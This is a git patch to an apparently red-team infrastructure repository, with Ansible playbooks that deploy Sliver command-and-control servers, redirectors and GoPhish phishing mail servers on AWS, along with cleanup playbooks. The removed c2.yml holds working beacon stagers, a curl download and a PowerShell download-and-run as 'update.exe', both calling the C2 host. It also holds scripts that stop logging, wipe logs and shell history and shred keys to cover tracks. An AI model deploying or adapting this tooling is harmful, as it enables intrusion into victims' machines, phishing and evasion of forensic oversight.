From 19501b84a0a59514f0ed1a186681a6b1e93bfb9a Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Thu, 10 Apr 2025 11:45:38 -0400 Subject: [PATCH] reconfiging everything --- AWS/c2-deploy.yaml | 479 ----- AWS/c2.yml | 429 +---- AWS/cleanup.yml | 160 ++ AWS/redirector.yml | 512 +---- FlokiNET/c2.yml | 489 +---- FlokiNET/cleanup.yml | 0 FlokiNET/redirector.yml | 191 +- Linode/c2-deploy.yaml | 355 ---- Linode/c2.yml | 385 +--- Linode/cleanup.yml | 113 ++ Linode/redirector.yml | 472 +---- deploy.py | 3284 +++++--------------------------- tasks/configure-c2.yml | 136 ++ tasks/configure_mail.yml | 170 ++ tasks/configure_redirector.yml | 114 ++ tasks/install_tools.yml | 110 ++ tasks/security_hardening.yml | 136 ++ 17 files changed, 1908 insertions(+), 5627 deletions(-) delete mode 100644 AWS/c2-deploy.yaml create mode 100644 AWS/cleanup.yml create mode 100644 FlokiNET/cleanup.yml delete mode 100644 Linode/c2-deploy.yaml create mode 100644 Linode/cleanup.yml create mode 100644 tasks/configure-c2.yml create mode 100644 tasks/configure_mail.yml create mode 100644 tasks/configure_redirector.yml create mode 100644 tasks/install_tools.yml create mode 100644 tasks/security_hardening.yml diff --git a/AWS/c2-deploy.yaml b/AWS/c2-deploy.yaml deleted file mode 100644 index b70776a..0000000 --- a/AWS/c2-deploy.yaml +++ /dev/null @@ -1,479 +0,0 @@ ---- -- name: Create and configure AWS EC2 instance for C2 Server - hosts: localhost - gather_facts: false - connection: local - vars_files: - - vars.yaml - vars: - ssh_user: "kali" - - tasks: - - block: - - name: Select a random AWS region - set_fact: - selected_aws_region: "{{ aws_region_choices | random }}" - - - name: Set AMI ID based on region - set_fact: - aws_ami: "{{ ami_map[selected_aws_region] }}" - - - name: Create an EC2 key pair - amazon.aws.ec2_key: - access_key: "{{ aws_access_key }}" - secret_key: "{{ aws_secret_key }}" - name: "{{ instance_label }}" - region: "{{ selected_aws_region }}" - state: present - register: key_pair - - - name: Save private key locally - copy: - content: "{{ key_pair.key.private_key }}" - dest: "~/.ssh/{{ instance_label }}.pem" - mode: "0600" - when: key_pair.changed - - - name: Check if a security group with required properties already exists - amazon.aws.ec2_security_group_info: - filters: - group-name: "security-sg" - region: "{{ selected_aws_region }}" - aws_access_key: "{{ aws_access_key }}" - aws_secret_key: "{{ aws_secret_key }}" - register: existing_sg - ignore_errors: yes - - - name: Create a security group for the instance if it doesn't exist - amazon.aws.ec2_group: - name: "security-sg" - description: "Completely open security group for instance {{ instance_label }}" - region: "{{ selected_aws_region }}" - aws_access_key: "{{ aws_access_key }}" - aws_secret_key: "{{ aws_secret_key }}" - rules: - - proto: -1 # Allow all protocols - cidr_ip: "0.0.0.0/0" # Open to all IPv4 addresses - rules_egress: - - proto: -1 - cidr_ip: "0.0.0.0/0" - when: existing_sg.security_groups | length == 0 - register: c2_sg_result - - - name: Launch EC2 instance - amazon.aws.ec2_instance: - aws_access_key: "{{ aws_access_key | default(omit) }}" - aws_secret_key: "{{ aws_secret_key | default(omit) }}" - region: "{{ selected_aws_region }}" - name: "{{ instance_label }}" - image_id: "{{ aws_ami }}" - instance_type: "{{ aws_instance_type }}" - key_name: "{{ instance_label }}" - security_groups: - - "security-sg" - wait: no - volumes: - - device_name: "/dev/xvda" - ebs: - volume_size: 100 - delete_on_termination: true - register: ec2_instance - - - name: Set instance_id fact for cleanup - set_fact: - instance_id: "{{ ec2_instance.instance_ids[0] | default('') }}" - when: ec2_instance.instances is defined and ec2_instance.instances | length > 0 - - - name: Wait for EC2 instance to reach running state - amazon.aws.ec2_instance_info: - aws_access_key: "{{ aws_access_key | default(omit) }}" - aws_secret_key: "{{ aws_secret_key | default(omit) }}" - region: "{{ selected_aws_region }}" - instance_ids: "{{ ec2_instance.instance_ids }}" - register: instance_info - retries: 10 - delay: 30 - until: instance_info.instances[0].state.name == "running" - - - name: Fetch the public IP of the instance - command: > - aws ec2 describe-instances - --filters "Name=tag:Name,Values={{ instance_label }}" - "Name=instance-state-name,Values=running" - --query "Reservations[*].Instances[*].PublicIpAddress" - --output text - register: instance_ip_result - environment: - AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" - AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" - AWS_DEFAULT_REGION: "{{ selected_aws_region }}" - retries: 3 - delay: 200 - until: instance_ip_result.stdout is not none and instance_ip_result.stdout != "" - - - name: Set instance_public_ip variable - ansible.builtin.set_fact: - instance_public_ip: "{{ instance_ip_result.stdout | trim }}" - when: instance_ip_result is defined and instance_ip_result.stdout != "" - - - name: Add EC2 instance to inventory - add_host: - name: "{{ instance_label }}" - ansible_host: "{{ instance_public_ip }}" - ansible_user: kali - ansible_ssh_private_key_file: "{{ private_key_path }}.pem" - ansible_ssh_common_args: '-o IdentitiesOnly=yes' - - - name: Pause for 300 seconds to allow instance initialization - ansible.builtin.pause: - seconds: 300 - - - name: Validate SSH connection with retries - block: - - name: Attempt SSH connection - ansible.builtin.command: - cmd: ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -i "{{ private_key_path }}.pem" kali@{{ instance_public_ip }} echo "SSH connection successful" - delay: 100 # Adjust delay if needed - retries: 2 - register: ssh_validation_result - ignore_errors: yes - - - name: Fail if SSH validation fails - ansible.builtin.fail: - msg: "SSH connection validation failed. Check instance settings, SSH key, and security group." - when: (ssh_validation_result is not defined or ssh_validation_result.rc != 0) - -- name: Configure AWS EC2 instance - hosts: "{{ instance_label }}" - gather_facts: true - tasks: - - - name: Set a custom MOTD - template: - src: motd-aws.j2 - dest: /etc/motd - owner: root - group: root - mode: '0644' - become: true - vars: - letsencrypt_email: "{{ letsencrypt_email }}" - mail_hostname: "{{ mail_hostname }}" - domain: "{{ domain }}" - gophish_admin_domain: "{{ gophish_admin_domain }}" - gophish_site_domain: "{{ gophish_site_domain }}" - - - name: Hush Default Login Message - become: true - ansible.builtin.shell: | - rm -rf '/usr/bin/kali-motd' - - - name: Update apt package list - ansible.builtin.apt: - update_cache: yes - become: true - - - name: Install base utilities and tools via apt - become: true - ansible.builtin.apt: - name: - - git - - wget - - curl - - unzip - - python3-pip - - python3-venv - - tmux - - pipx - - nmap - - tcpdump - - hydra - - john - - hashcat - - sqlmap - - gobuster - - dirb - - enum4linux - - dnsenum - - seclists - - responder - - golang - - proxychains - - tor - - crackmapexec - - jq - - unzip - - postfix - - certbot - - opendkim - - opendkim-tools - - dovecot-core - - dovecot-imapd - - dovecot-pop3d - - dovecot-sieve - - dovecot-managesieved - - yq - state: present - - - name: Ensure pipx path is configured - ansible.builtin.shell: | - pipx ensurepath - become: true - args: - executable: /bin/bash - - - name: Create Tools dir - ansible.builtin.shell: | - mkdir /home/kali/Tools - - - name: Install tools via pipx - ansible.builtin.shell: | - export PATH=$PATH:/root/.local/bin - pipx ensurepath - pipx install git+https://github.com/Pennyw0rth/NetExec - pipx install git+https://github.com/blacklanternsecurity/TREVORspray - pipx install impacket - become: true - args: - executable: /bin/bash - - - name: Download Kerbrute - ansible.builtin.shell: | - mkdir -p /home/kali/Tools/Kerbrute - wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /home/kali/Tools/Kerbrute/kerbrute - chmod +x /home/kali/Tools/Kerbrute/kerbrute - become: true - args: - executable: /bin/bash - - - name: Clone SharpCollection nightly builds - ansible.builtin.git: - repo: https://github.com/Flangvik/SharpCollection.git - dest: /home/kali/Tools/SharpCollection - version: master - - - name: Clone PEASS-ng - ansible.builtin.git: - repo: https://github.com/carlospolop/PEASS-ng.git - dest: /home/kali/Tools/PEASS-ng - - - name: Clone MailSniper - ansible.builtin.git: - repo: https://github.com/dafthack/MailSniper.git - dest: /home/kali/Tools/MailSniper - - - name: Clone Inveigh - ansible.builtin.git: - repo: https://github.com/Kevin-Robertson/Inveigh.git - dest: /home/kali/Tools/Inveigh - - - name: Install Sliver C2 server - ansible.builtin.shell: | - curl https://sliver.sh/install | bash - systemctl enable sliver - systemctl start sliver - become: true - - - name: Install Metasploit Framework (Nightly Build) - ansible.builtin.shell: | - curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /home/kali/Tools/msfinstall - chmod 755 /home/kali/Tools/msfinstall - /home/kali/Tools/msfinstall - become: true - args: - executable: /bin/bash - - - name: Grab GoPhish - ansible.builtin.shell: | - curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/kali/Tools/gophish.zip - unzip /home/kali/Tools/gophish.zip -d /home/kali/Tools/gophish - rm -rf /home/kali/Tools/gophish.zip - chmod +x /home/kali/Tools/gophish - - - name: Deploy Gophish config.json with custom admin port - become: true - template: - src: gophish-config.j2 - dest: /home/kali/Tools/gophish/config.json - owner: kali - group: kali - mode: '0644' - vars: - gophish_admin_port: "{{ gophish_admin_port }}" - domain: "{{ domain }}" - - - name: Configure Postfix main.cf - lineinfile: - path: /etc/postfix/main.cf - regexp: "{{ item.regexp }}" - line: "{{ item.line }}" - with_items: - - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } - - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } - - { regexp: '^myorigin', line: "myorigin = $mydomain" } - - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } - - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } - - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } - - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } - - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } - - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } - - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } - - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } - - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } - - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } - - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } - - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } - - { regexp: '^milter_default_action', line: "milter_default_action = accept" } - - { regexp: '^milter_protocol', line: "milter_protocol = 6" } - - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } - - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } - become: true - - - name: Configure OpenDKIM - lineinfile: - path: /etc/opendkim.conf - regexp: "{{ item.regexp }}" - line: "{{ item.line }}" - with_items: - - { regexp: '^Domain', line: "Domain {{ domain }}" } - - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } - - { regexp: '^Selector', line: "Selector mail" } - - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } - - { regexp: '^Syslog', line: "Syslog yes" } - - { regexp: '^UMask', line: "UMask 002" } - - { regexp: '^Mode', line: "Mode sv" } - become: true - - - name: Create DKIM directory - file: - path: /etc/opendkim/keys/{{ domain }} - state: directory - owner: opendkim - group: opendkim - mode: 0700 - become: true - - - name: Generate DKIM keys - command: > - opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail - args: - creates: /etc/opendkim/keys/{{ domain }}/mail.private - become: true - - - name: Set permissions for DKIM keys - file: - path: /etc/opendkim/keys/{{ domain }}/mail.private - owner: opendkim - group: opendkim - mode: 0600 - become: true - - - name: Configure OpenDKIM TrustedHosts - copy: - content: | - 127.0.0.1 - ::1 - localhost - {{ domain }} - dest: /etc/opendkim/TrustedHosts - owner: opendkim - group: opendkim - mode: 0644 - become: true - - - name: Enable submission port (587) in master.cf - blockinfile: - path: /etc/postfix/master.cf - insertafter: '^#submission' - block: | - submission inet n - y - - smtpd - -o syslog_name=postfix/submission - -o smtpd_tls_security_level=encrypt - -o smtpd_sasl_auth_enable=yes - -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject - -o smtpd_relay_restrictions=permit_sasl_authenticated,reject - become: true - - - name: Configure Dovecot for Postfix SASL - blockinfile: - path: /etc/dovecot/conf.d/10-master.conf - insertafter: '^service auth {' - block: | - # Postfix smtp-auth - unix_listener /var/spool/postfix/private/auth { - mode = 0660 - user = postfix - group = postfix - } - become: true - - - name: Set Dovecot auth_mechanisms - lineinfile: - path: /etc/dovecot/conf.d/10-auth.conf - regexp: '^auth_mechanisms' - line: 'auth_mechanisms = plain login' - become: true - - - name: Create Dovecot password file for SASL authentication - file: - path: /etc/dovecot/passwd - state: touch - mode: '0600' - owner: dovecot - group: dovecot - become: true - - - name: Add SMTP auth user to Dovecot - lineinfile: - path: /etc/dovecot/passwd - line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" - become: true - - - name: Disable system auth and use passwd-file - lineinfile: - path: /etc/dovecot/conf.d/10-auth.conf - regexp: '^!include auth-system.conf.ext' - line: '#!include auth-system.conf.ext' - become: true - - - name: Add auth-passwdfile configuration - blockinfile: - path: /etc/dovecot/conf.d/10-auth.conf - insertafter: '^auth_mechanisms =' - block: | - passdb { - driver = passwd-file - args = scheme=sha512_crypt /etc/dovecot/passwd - } - userdb { - driver = static - args = uid=vmail gid=vmail home=/var/vmail/%u - } - become: true - - - name: Create vmail group - group: - name: vmail - gid: 5000 - state: present - become: true - - - name: Create vmail user - user: - name: vmail - uid: 5000 - group: vmail - create_home: no - become: true - - - name: Restart Postfix - service: - name: postfix - state: restarted - become: true - - - name: Restart Dovecot - service: - name: dovecot - state: restarted - become: true \ No newline at end of file diff --git a/AWS/c2.yml b/AWS/c2.yml index 70db0ea..537aabc 100644 --- a/AWS/c2.yml +++ b/AWS/c2.yml @@ -1,381 +1,148 @@ --- +# AWS C2 Deployment Playbook + - name: Deploy AWS C2 server hosts: localhost gather_facts: false connection: local + vars_files: + - vars.yaml vars: - region: "{{ aws_region | default('us-east-1') }}" - instance_type: "{{ size | default('t2.medium') }}" - instance_name: "{{ c2_name | default('c2') }}" - domain: "{{ domain | default('example.com') }}" - c2_subdomain: "mail" + # Default values for required variables + ssh_user: "{{ ssh_user | default('kali') }}" + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + instance_type: "{{ aws_instance_type | default('t2.medium') }}" + + # Generate random instance name if not provided + c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" tasks: - - name: Set a random AWS region if not specified - set_fact: - selected_aws_region: "{{ aws_region_choices | random }}" - when: aws_region is not defined - - - name: Create an EC2 key pair + - name: Validate required AWS credentials + assert: + that: + - aws_access_key is defined and aws_access_key != "" + - aws_secret_key is defined and aws_secret_key != "" + fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key." + + - name: Create EC2 key pair for C2 amazon.aws.ec2_key: - name: "{{ instance_name }}" - region: "{{ region }}" + access_key: "{{ aws_access_key }}" + secret_key: "{{ aws_secret_key }}" + name: "{{ c2_name }}" + region: "{{ aws_region }}" state: present - register: key_pair + register: c2_key_pair - - name: Save private key locally + - name: Save C2 private key locally copy: - content: "{{ key_pair.key.private_key }}" - dest: "~/.ssh/{{ instance_name }}.pem" + content: "{{ c2_key_pair.key.private_key }}" + dest: "~/.ssh/{{ c2_name }}.pem" mode: "0600" - when: key_pair.changed + when: c2_key_pair.changed and c2_key_pair.key.private_key is defined - - name: Create security group for C2 server + - name: Create a security group for the C2 server amazon.aws.ec2_group: - name: "{{ instance_name }}-sg" - description: "Security group for C2 server" - region: "{{ region }}" + access_key: "{{ aws_access_key }}" + secret_key: "{{ aws_secret_key }}" + name: "{{ c2_name }}-sg" + description: "Security group for C2 server {{ c2_name }}" + region: "{{ aws_region }}" rules: - proto: tcp ports: - 22 - - 50051 # Sliver gRPC port - - 8888 # C2 HTTP listener - - 8443 # Beacon server + - 80 + - 443 + - 8888 # Sliver HTTP listener + - 50051 # Sliver gRPC port + - 31337 # Additional C2 port cidr_ip: 0.0.0.0/0 rules_egress: - proto: -1 cidr_ip: 0.0.0.0/0 - register: c2_sg + register: c2_sg_result - name: Launch C2 EC2 instance amazon.aws.ec2_instance: - name: "{{ instance_name }}" - region: "{{ region }}" - image_id: "{{ ami_map[region] }}" + access_key: "{{ aws_access_key }}" + secret_key: "{{ aws_secret_key }}" + region: "{{ aws_region }}" + name: "{{ c2_name }}" + image_id: "{{ ami_map[aws_region] }}" instance_type: "{{ instance_type }}" - key_name: "{{ instance_name }}" - security_group: "{{ c2_sg.group_id }}" - network: - assign_public_ip: true - tags: - Name: "{{ instance_name }}" - Role: "c2" + key_name: "{{ c2_name }}" + security_groups: + - "{{ c2_name }}-sg" wait: yes + tags: + Name: "{{ c2_name }}" + Role: "c2" + volumes: + - device_name: "/dev/xvda" + ebs: + volume_size: 100 + delete_on_termination: true register: c2_instance - - name: Save C2 IP + - name: Set c2_ip for later use set_fact: c2_ip: "{{ c2_instance.instances[0].public_ip_address }}" + c2_instance_id: "{{ c2_instance.instances[0].instance_id }}" - - name: Wait for SSH to become available + - name: Wait for C2 SSH to be available wait_for: host: "{{ c2_ip }}" port: 22 - delay: 10 + delay: 30 timeout: 300 state: started - - name: Add C2 server to inventory + - name: Add C2 to inventory add_host: - name: c2 + name: "c2" + groups: "c2servers" ansible_host: "{{ c2_ip }}" - ansible_user: "{{ ssh_user | default('kali') }}" - ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem" - groups: c2servers + ansible_user: "{{ ssh_user }}" + ansible_ssh_private_key_file: "~/.ssh/{{ c2_name }}.pem" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" - name: Configure C2 server hosts: c2servers become: true + gather_facts: true + vars_files: + - vars.yaml vars: - domain: "{{ domain | default('example.com') }}" - c2_subdomain: "mail" - letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" - zero_logs: "{{ zero_logs | default(true) }}" - redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" - + redirector_ip: "{{ redirector_ip | default('127.0.0.1') }}" + c2_subdomain: "{{ c2_subdomain | default('mail') }}" tasks: - - name: Update apt cache + - name: Wait for apt to be available apt: update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 - - name: Install required packages - apt: - name: - - git - - wget - - curl - - python3-pip - - golang - - tmux - - nmap - - jq - - secure-delete - - socat - state: present - - - name: Create directories for C2 operation - file: - path: "{{ item }}" - state: directory - mode: '0700' - owner: root - group: root - with_items: - - /opt/c2 - - /opt/beacons - - /opt/payloads - - - name: Create clean-logs.sh script - copy: - content: | - #!/bin/bash - # Zero-logs maintenance script - umask 077 - - # Disable syslog temporarily - systemctl stop rsyslog 2>/dev/null - systemctl stop systemd-journald 2>/dev/null - - # Clear system logs - find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; - find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; - find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; - journalctl --vacuum-time=1s 2>/dev/null - - # Clear bash history - for histfile in /root/.bash_history /home/*/.bash_history; do - [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null - done - history -c - - # Clear Sliver logs - find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null - - # Clear temporary directories - rm -rf /tmp/* /var/tmp/* 2>/dev/null - - # Restart logging services - systemctl start systemd-journald 2>/dev/null - systemctl start rsyslog 2>/dev/null - - echo "[+] Log cleaning complete" - exit 0 - dest: /opt/c2/clean-logs.sh - mode: '0700' - owner: root - group: root - - - name: Create secure-exit.sh script - copy: - content: | - #!/bin/bash - # Secure cleanup script - - # Configuration - SECURE_DELETE_PASSES=7 - MEMORY_WIPE=true - - # Set secure umask - umask 077 - - # Function to securely delete files - secure_delete() { - local target=$1 - echo "[+] Securely deleting: $target" - - if command -v srm > /dev/null; then - srm -vzf $target 2>/dev/null - elif command -v shred > /dev/null; then - shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null - else - # Fallback to dd if specialized tools aren't available - dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null - dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null - rm -f $target 2>/dev/null - fi - } - - echo "[+] Beginning secure exit procedure..." - - # Stop all operational services - echo "[+] Stopping operational services..." - services=("sliver") - for service in "${services[@]}"; do - systemctl stop $service 2>/dev/null - done - - # Kill any remaining operational processes - echo "[+] Terminating operational processes..." - process_names=("sliver" "nc" "python") - for proc in "${process_names[@]}"; do - pkill -9 $proc 2>/dev/null - done - - # Clear all logs - echo "[+] Clearing logs..." - bash /opt/c2/clean-logs.sh - - # Securely delete operational files - echo "[+] Removing operational files..." - operational_dirs=( - "/opt/c2" - "/opt/beacons" - "/opt/payloads" - "/root/.sliver" - ) - - for dir in "${operational_dirs[@]}"; do - find $dir -type f 2>/dev/null | while read file; do - secure_delete "$file" - done - rm -rf $dir 2>/dev/null - done - - # Remove SSH keys - echo "[+] Removing SSH keys and configs..." - find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do - secure_delete "$file" - done - - # Clean memory if requested - if $MEMORY_WIPE; then - echo "[+] Wiping system memory..." - sync - echo 3 > /proc/sys/vm/drop_caches - swapoff -a - swapon -a - fi - - echo "[+] Secure exit completed. Infrastructure has been sanitized." - - # Remove this script itself - exec shred -n $SECURE_DELETE_PASSES -uz $0 - dest: /opt/c2/secure-exit.sh - mode: '0700' - owner: root - group: root - - - name: Create beacon-server.sh script - copy: - content: | - #!/bin/bash - # Beacon server script - - # Configuration - BEACONS_DIR="/opt/beacons" - WEBSERVER_PORT=8443 - - # Set secure umask - umask 077 - - # Ensure beacons directory exists - mkdir -p $BEACONS_DIR - - # Generate beacons using Sliver - echo "[+] Generating beacons for all platforms..." - - # Make sure Sliver server is running - if ! pgrep -x "sliver-server" > /dev/null; then - echo "[!] Sliver server is not running, starting it..." - systemctl start sliver - sleep 5 - fi - - # Generate Windows beacon - sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe - - # Generate Linux beacon - sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux - - # Generate macOS beacon - sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos - - # Generate stagers - echo "#!/bin/bash - curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh - chmod +x $BEACONS_DIR/beacon.sh - - echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; - \$url = 'http://{{ ansible_host }}:8443/windows.exe'; - \$outpath = \"\$env:TEMP\\update.exe\"; - Invoke-WebRequest -Uri \$url -OutFile \$outpath; - Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 - - echo "[+] All beacons generated successfully" - - # Serve beacons using Python's HTTP server - echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." - cd $BEACONS_DIR - python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & - SERVER_PID=$! - - echo "[+] Beacon server started with PID $SERVER_PID" - echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/" - - # Keep script running - trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT - while true; do sleep 1; done - dest: /opt/c2/beacon-server.sh - mode: '0700' - owner: root - group: root - - - name: Install Sliver C2 framework - shell: | - curl https://sliver.sh/install | bash - args: - creates: /usr/local/bin/sliver-server - - - name: Create Sliver service file - copy: - content: | - [Unit] - Description=Sliver C2 Server - After=network.target - - [Service] - Type=simple - User=root - Group=root - WorkingDirectory=/root/.sliver - ExecStart=/usr/local/bin/sliver-server daemon - Restart=always - RestartSec=10 - - # Security measures - PrivateTmp=true - ProtectHome=false - NoNewPrivileges=true - - # Hide process information - StandardOutput=null - StandardError=null - - [Install] - WantedBy=multi-user.target - dest: /etc/systemd/system/sliver.service - mode: '0644' - owner: root - group: root - - - name: Start and enable Sliver service - systemd: - name: sliver - state: started - enabled: yes - daemon_reload: yes - - - name: Set up cron job for log cleaning - cron: - name: "Clean logs" - minute: "0" - hour: "*/6" - job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" - when: zero_logs|bool - - - name: Start beacon server - shell: | - nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 & - args: - creates: /opt/beacons/windows.exe \ No newline at end of file + - name: Include common tool installation tasks + include_tasks: "../tasks/install_tools.yml" + + - name: Include common C2 configuration tasks + include_tasks: "../tasks/configure_c2.yml" + + - name: Include common security hardening tasks + include_tasks: "../tasks/security_hardening.yml" + + - name: Include common mail server configuration tasks + include_tasks: "../tasks/configure_mail.yml" + + - name: Print deployment summary + debug: + msg: + - "C2 Server Deployment Complete!" + - "-----------------------------" + - "C2 Server IP: {{ ansible_host }}" + - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)" + - "GoPhish Admin Port: {{ gophish_admin_port }}" + - "SSH Key: ~/.ssh/{{ hostvars['localhost']['c2_name'] }}.pem" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/AWS/cleanup.yml b/AWS/cleanup.yml new file mode 100644 index 0000000..399311f --- /dev/null +++ b/AWS/cleanup.yml @@ -0,0 +1,160 @@ +--- +# AWS Cleanup Playbook +# Used to tear down AWS infrastructure + +- name: Clean up AWS infrastructure + hosts: localhost + connection: local + gather_facts: false + vars_files: + - vars.yaml + vars: + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}" + cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}" + confirm_cleanup: "{{ confirm_cleanup | default(true) }}" + + tasks: + - name: Validate required AWS credentials + assert: + that: + - aws_access_key is defined and aws_access_key != "" + - aws_secret_key is defined and aws_secret_key != "" + fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key." + + - name: Confirm cleanup if required + pause: + prompt: "WARNING: This will permanently delete all infrastructure. Type 'yes' to continue" + register: confirmation + when: confirm_cleanup + + - name: Exit if not confirmed + meta: end_play + when: confirm_cleanup and confirmation.user_input != 'yes' + + - name: Find redirector instance ID + command: > + aws ec2 describe-instances + --filters "Name=tag:Name,Values={{ redirector_name }}" + --query "Reservations[*].Instances[*].InstanceId" + --output text + --region {{ aws_region }} + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + register: redirector_id_result + failed_when: false + changed_when: false + when: cleanup_redirector + + - name: Find C2 instance ID + command: > + aws ec2 describe-instances + --filters "Name=tag:Name,Values={{ c2_name }}" + --query "Reservations[*].Instances[*].InstanceId" + --output text + --region {{ aws_region }} + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + register: c2_id_result + failed_when: false + changed_when: false + when: cleanup_c2 + + - name: Set instance IDs as facts + set_fact: + redirector_instance_id: "{{ redirector_id_result.stdout | trim }}" + when: cleanup_redirector and redirector_id_result.stdout is defined and redirector_id_result.stdout | trim != "" + + - name: Set C2 instance ID as fact + set_fact: + c2_instance_id: "{{ c2_id_result.stdout | trim }}" + when: cleanup_c2 and c2_id_result.stdout is defined and c2_id_result.stdout | trim != "" + + - name: Terminate redirector instance + amazon.aws.ec2_instance: + state: absent + instance_ids: + - "{{ redirector_instance_id }}" + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + when: cleanup_redirector and redirector_instance_id is defined and redirector_instance_id != "" + register: redirector_termination + + - name: Terminate C2 instance + amazon.aws.ec2_instance: + state: absent + instance_ids: + - "{{ c2_instance_id }}" + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + when: cleanup_c2 and c2_instance_id is defined and c2_instance_id != "" + register: c2_termination + + - name: Wait for instances to be fully terminated + pause: + seconds: 30 + when: + - (redirector_termination is defined and redirector_termination.changed) or + (c2_termination is defined and c2_termination.changed) + + - name: Delete redirector security group + amazon.aws.ec2_group: + name: "{{ redirector_name }}-sg" + state: absent + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + ignore_errors: yes + when: cleanup_redirector and redirector_name is defined and redirector_name != "" + + - name: Delete C2 security group + amazon.aws.ec2_group: + name: "{{ c2_name }}-sg" + state: absent + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + ignore_errors: yes + when: cleanup_c2 and c2_name is defined and c2_name != "" + + - name: Delete redirector key pair + amazon.aws.ec2_key: + name: "{{ redirector_name }}" + state: absent + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + when: cleanup_redirector and redirector_name is defined and redirector_name != "" + + - name: Delete C2 key pair + amazon.aws.ec2_key: + name: "{{ c2_name }}" + state: absent + region: "{{ aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + when: cleanup_c2 and c2_name is defined and c2_name != "" + + - name: Remove 